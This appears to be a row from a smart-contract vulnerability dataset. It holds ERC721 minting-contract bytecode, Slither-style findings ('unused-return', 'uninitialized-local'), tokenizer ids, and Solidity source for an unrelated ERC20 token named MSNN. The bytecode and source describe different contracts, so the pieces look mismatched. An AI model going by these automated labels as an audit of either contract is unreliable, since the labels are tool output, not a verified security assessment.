a7366004612525565b61142c565b3480156106b857600080fd5b506102ab6106c7366004612525565b61150a565b3480156106d857600080fd5b5061035d600f5481565b3480156106ee57600080fd5b506102ab6106fd3660046124dc565b611539565b34801561070e57600080fd5b5061027661071d3660046122d3565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561075757600080fd5b506102ab610766366004612412565b611576565b34801561077757600080fd5b506102ab6107863660046122b8565b6115b8565b60006001600160e01b0319821663780e9d6360e01b14806107b057506107b08261165f565b92915050565b600a546001600160a01b031633146107e95760405162461bcd60e51b81526004016107e090612714565b60405180910390fd5b6012805460ff1916911515919091179055565b60606000805461080b90612828565b80601f016020809104026020016040519081016040528092919081815260200182805461083790612828565b80156108845780601f1061085957610100808354040283529160200191610884565b820191906000526020600020905b81548152906001019060200180831161086757829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166109075760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107e0565b506000908152600460205260409020546001600160a01b031690565b600a546001600160a01b0316331461094d5760405162461bcd60e51b81526004016107e090612714565b601055565b600061095d8261113a565b9050806001600160a01b0316836001600160a01b031614156109cb5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016107e0565b336001600160a01b03821614806109e757506109e7813361071d565b610a595760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016107e0565b610a6383836116af565b505050565b610a72338261171d565b610a8e5760405162461bcd60e51b81526004016107e090612749565b610a63838383611814565b6000610aa4836112ec565b8210610b065760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016107e0565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b6000805b601354811015610b9057826001600160a01b031660138281548110610b5a57610b5a6128d4565b6000918252602090912001546001600160a01b03161415610b7e5750600192915050565b80610b8881612863565b915050610b33565b50600092915050565b600a546001600160a01b03163314610bc35760405162461bcd60e51b81526004016107e090612714565b601280549115156101000261ff0019909216919091179055565b600a546001600160a01b03163314610c075760405162461bcd60e51b81526004016107e090612714565b6000610c1b600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610c65576040519150601f19603f3d011682016040523d82523d6000602084013e610c6a565b606091505b5050905080610c7857600080fd5b50565b60125460ff1615610cc75760405162461bcd60e51b81526020600482015260166024820152751d1a194818dbdb9d1c9858dd081a5cc81c185d5cd95960521b60448201526064016107e0565b6000610cd260085490565b905060008211610d245760405162461bcd60e51b815260206004820152601b60248201527f6e65656420746f206d696e74206174206c656173742031204e4654000000000060448201526064016107e0565b601054821115610d825760405162461bcd60e51b8152602060048201526024808201527f6d6178206d696e7420616d6f756e74207065722073657373696f6e20657863656044820152631959195960e21b60648201526084016107e0565b600f54610d8f838361279a565b1115610dd65760405162461bcd60e51b81526020600482015260166024820152751b585e08139195081b1a5b5a5d08195e18d95959195960521b60448201526064016107e0565b600a546001600160a01b03163314610f1b5760125460ff61010090910416151560011415610ec957610e0783610b2f565b610e535760405162461bcd60e51b815260206004820152601760248201527f75736572206973206e6f742077686974656c697374656400000000000000000060448201526064016107e0565b6001600160a01b038316600090815260146020526040902054601154610e79848361279a565b1115610ec75760405162461bcd60e51b815260206004820152601c60248201527f6d6178204e46542070657220616464726573732065786365656465640000000060448201526064016107e0565b505b81600e54610ed791906127c6565b341015610f1b5760405162461bcd60e51b8152602060048201526012602482015271696e73756666696369656e742066756e647360701b60448201526064016107e0565b60015b828111610f74576001600160a01b0384166000908152601460205260408120805491610f4983612863565b90915550610f62905084610f5d838561279a565b6119bb565b80610f6c81612863565b915050610f1e565b50505050565b610a63838383604051806020016040528060008152506113c3565b60606000610fa2836112ec565b905060008167ffffffffffffffff811115610fbf57610fbf6128ea565b604051908082528060200260200182016040528015610fe8578160200160208202803683370190505b50905060005b8281101561102f576110008582610a99565b828281518110611012576110126128d4565b60209081029190910101528061102781612863565b915050610fee565b509392505050565b600a546001600160a01b031633146110615760405162461bcd60e51b81526004016107e090612714565b600e55565b600061107160085490565b82106110d45760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016107e0565b600882815481106110e7576110e76128d4565b90600052602060002001549050919050565b600a546001600160a01b031633146111235760405162461bcd60e51b81526004016107e090612714565b805161113690600c90602084019061210c565b5050565b6000818152600260205260408120546001600160a01b0316806107b05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016107e0565b600c80546111be90612828565b80601f01602080910402602001604051908101604052809291908181526020018280546111ea90612828565b80156112375780601f1061120c57610100808354040283529160200191611237565b820191906000526020600020905b81548152906001019060200180831161121a57829003601f168201915b505050505081565b600a546001600160a01b031633146112695760405162461bcd60e51b81526004016107e090612714565b8061127360085490565b11156112e75760405162461bcd60e51b815260206004820152603a60248201527f6d617820737570706c792073686f756c6420626520677265617465722074686160448201527f6e206f7220657175616c20746f20746f74616c20737570706c7900000000000060648201526084016107e0565b600f55565b60006001600160a01b0382166113575760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016107e0565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b0316331461139d5760405162461bcd60e51b81526004016107e090612714565b6113a760006119d5565b565b60606001805461080b90612828565b611136338383611a27565b6113cd338361171d565b6113e95760405162461bcd60e51b81526004016107e090612749565b610f7484848484611af6565b6013818154811061140557600080fd5b6000918252602090912001546001600160a01b0316905081565b600d80546111be90612828565b6000818152600260205260409020546060906001600160a01b03166114ab5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016107e0565b60006114b5611b29565b905060008151116114d55760405180602001604052806000815250611503565b806114df84611b38565b600d6040516020016114f39392919061256a565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146115345760405162461bcd60e51b81526004016107e090612714565b601155565b600a546001600160a01b031633146115635760405162461bcd60e51b81526004016107e090612714565b805161113690600d90602084019061210c565b600a546001600160a01b031633146115a05760405162461bcd60e51b81526004016107e090612714565b6115ac60136000612190565b610a63601383836121ae565b600a546001600160a01b031633146115e25760405162461bcd60e51b81526004016107e090612714565b6001600160a01b0381166116475760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107e0565b610c78816119d5565b6001600160a01b03163b151590565b60006001600160e01b031982166380ac58cd60e01b148061169057506001600160e01b03198216635b5e139f60e01b145b806107b057506301ffc9a760e01b6001600160e01b03198316146107b0565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906116e48261113a565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166117965760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107e0565b60006117a18361113a565b9050806001600160a01b0316846001600160a01b031614806117dc5750836001600160a01b03166117d18461088e565b6001600160a01b0316145b8061180c57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166118278261113a565b6001600160a01b03161461188b5760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b60648201526084016107e0565b6001600160a01b0382166118ed5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016107e0565b6118f8838383611c36565b6119036000826116af565b6001600160a01b038316600090815260036020526040812080546001929061192c9084906127e5565b90915550506001600160a01b038216600090815260036020526040812080546001929061195a90849061279a565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b611136828260405180602001604052806000815250611cee565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b03161415611a895760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016107e0565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611b01848484611814565b611b0d84848484611d21565b610f745760405162461bcd60e51b81526004016107e0906126c2565b6060600c805461080b90612828565b606081611b5c5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611b865780611b7081612863565b9150611b7f9050600a836127b2565b9150611b60565b60008167ffffffffffffffff811115611ba157611ba16128ea565b6040519080825280601f01601f191660200182016040528015611bcb576020820181803683370190505b5090505b841561180c57611be06001836127e5565b9150611bed600a8661287e565b611bf890603061279a565b60f81b818381518110611c0d57611c0d6128d4565b60200101906001600160f81b031916908160001a905350611c2f600a866127b2565b9450611bcf565b6001600160a01b038316611c9157611c8c81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611cb4565b816001600160a01b0316836001600160a01b031614611cb457611cb48382611e2e565b6001600160a01b038216611ccb57610a6381611ecb565b826001600160a01b0316826001600160a01b031614610a6357610a638282611f7a565b611cf88383611fbe565b611d056000848484611d21565b610a635760405162461bcd60e51b81526004016107e0906126c2565b60006001600160a01b0384163b15611e2357604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611d6590339089908890889060040161262e565b602060405180830381600087803b158015611d7f57600080fd5b505af1925050508015611daf575060408051601f3d908101601f19168201909252611dac918101906124bf565b60015b611e09573d808015611ddd576040519150601f19603f3d011682016040523d82523d6000602084013e611de2565b606091505b508051611e015760405162461bcd60e51b81526004016107e0906126c2565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061180c565b506001949350505050565b60006001611e3b846112ec565b611e4591906127e5565b600083815260076020526040902054909150808214611e98576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611edd906001906127e5565b60008381526009602052604081205460088054939450909284908110611f0557611f056128d4565b906000526020600020015490508060088381548110611f2657611f266128d4565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611f5e57611f5e6128be565b6001900381819060005260206000200160009055905550505050565b6000611f85836112ec565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166120145760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016107e0565b6000818152600260205260409020546001600160a01b0316156120795760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016107e0565b61208560008383611c36565b6001600160a01b03821660009081526003602052604081208054600192906120ae90849061279a565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461211890612828565b90600052602060002090601f01602090048101928261213a5760008555612180565b82601f1061215357805160ff1916838001178555612180565b82800160010185558215612180579182015b82811115612180578251825591602001919060010190612165565b5061218c929150612201565b5090565b5080546000825590600052602060002090810190610c789190612201565b828054828255906000526020600020908101928215612180579160200282015b828111156121805781546001600160a01b0319166001600160a01b038435161782556020909201916001909101906121ce565b5b8082111561218c5760008155600101612202565b600067ffffffffffffffff80841115612231576122316128ea565b604051601f8501601f19908116603f01168101908282118183101715612259576122596128ea565b8160405280935085815286868601111561227257600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b03811681146122a357600080fd5b919050565b803580151581146122a357600080fd5b6000602082840312156122ca57600080fd5b6115038261228c565b600080604083850312156122e657600080fd5b6122ef8361228c565b91506122fd6020840161228c565b90509250929050565b60008060006060848603121561231b57600080fd5b6123248461228c565b92506123326020850161228c565b9150604084013590509250925092565b6000806000806080858703121561235857600080fd5b6123618561228c565b935061236f6020860161228c565b925060408501359150606085013567ffffffffffffffff81111561239257600080fd5b8501601f810187136123a357600080fd5b6123b287823560208401612216565b91505092959194509250565b600080604083850312156123d157600080fd5b6123da8361228c565b91506122fd602084016122a8565b600080604083850312156123fb57600080fd5b6124048361228c565b946020939093013593505050565b6000806020838503121561242557600080fd5b823567ffffffffffffffff8082111561243d57600080fd5b818501915085601f83011261245157600080fd5b81358181111561246057600080fd5b8660208260051b850101111561247557600080fd5b60209290920196919550909350505050565b60006020828403121561249957600080fd5b611503826122a8565b6000602082840312156124b457600080fd5b813561150381612900565b6000602082840312156124d157600080fd5b815161150381612900565b6000602082840312156124ee57600080fd5b813567ffffffffffffffff81111561250557600080fd5b8201601f8101841361251657600080fd5b61180c84823560208401612216565b60006020828403121561253757600080fd5b5035919050565b600081518084526125568160208601602086016127fc565b601f01601f19169290920160200192915050565b60008451602061257d8285838a016127fc565b8551918401916125908184848a016127fc565b8554920191600090600181811c90808316806125ad57607f831692505b8583108114156125cb57634e487b7160e01b85526022600452602485fd5b8080156125df57600181146125f05761261d565b60ff1985168852838801955061261d565b60008b81526020902060005b858110156126155781548a8201529084019088016125fc565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906126619083018461253e565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156126a357835183529284019291840191600101612687565b50909695505050505050565b602081526000611503602083018461253e565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b600082198211156127ad576127ad612892565b500190565b6000826127c1576127c16128a8565b500490565b60008160001904831182151516156127e0576127e0612892565b500290565b6000828210156127f7576127f7612892565b500390565b60005b838110156128175781810151838201526020016127ff565b83811115610f745750506000910152565b600181811c9082168061283c57607f821691505b6020821081141561285d57634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561287757612877612892565b5060010190565b60008261288d5761288d6128a8565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610c7857600080fdfea2646970667358221220e98690cf1a7f13c4f75ed72fbbd1f0200617a89a6584dcbcd04398428101d33f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 14142, 2850, 2620, 2581, 2620, 2475, 4215, 2581, 7011, 2629, 19281, 2278, 2581, 23833, 2581, 29292, 16147, 2094, 11387, 2278, 2692, 2497, 2581, 2050, 17914, 2620, 2581, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3036, 1013, 2128, 4765, 5521, 5666, 18405, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 3036, 1013, 2128, 4765, 5521, 5666, 18405, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2008, 7126, 4652, 2128, 4765, 17884, 4455, 2000, 1037, 3853, 1012, 1008, 1008, 22490, 2075, 2013, 1036, 2128, 4765, 5521, 5666, 18405, 1036, 2097, 2191, 1996, 1063, 2512, 28029, 6494, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,080
0x96311848c9977682eef4156424e4e447b1af23ad
// SPDX-License-Identifier: GPL v3 pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract MSNN is ERC20 { uint256 public payable_eth; address private contract_owner; modifier onlyContractOwner() { require(msg.sender == contract_owner, "Only contractOwner"); _; } constructor( string memory name, string memory symbol, uint256 inisupply ) ERC20(name, symbol) { contract_owner = msg.sender; _mint(msg.sender, inisupply * (10**uint256(decimals()))); } // mint is open for mining inflation increment event mint_EVENT( address trigger_user_addr, uint256 amount, uint256 blocktime ); function mint(uint256 amount) public onlyContractOwner { _mint(msg.sender, amount); emit mint_EVENT(msg.sender, amount, block.timestamp); } // anyone can burn their own token event burn_EVENT( address trigger_user_addr, uint256 amount, uint256 blocktime ); function burn(uint256 amount) external { _burn(msg.sender, amount); emit burn_EVENT(msg.sender, amount, block.timestamp); } receive() external payable { payable_eth += msg.value; } fallback() external payable { payable_eth += msg.value; } event withdraw_eth_EVENT( address trigger_user_addr, uint256 _amount, uint256 blocktime ); function withdraw_eth() external onlyContractOwner { uint256 amout_to_t = address(this).balance; payable(msg.sender).transfer(amout_to_t); payable_eth = 0; emit withdraw_eth_EVENT(msg.sender, amout_to_t, block.timestamp); } event withdraw_contract_EVENT( address trigger_user_addr, address _from, uint256 amount, uint256 blocktime ); function withdraw_contract() public onlyContractOwner { uint256 left = balanceOf(address(this)); require(left > 0, "No balance"); _transfer(address(this), msg.sender, left); emit withdraw_contract_EVENT( msg.sender, address(this), left, block.timestamp ); } }
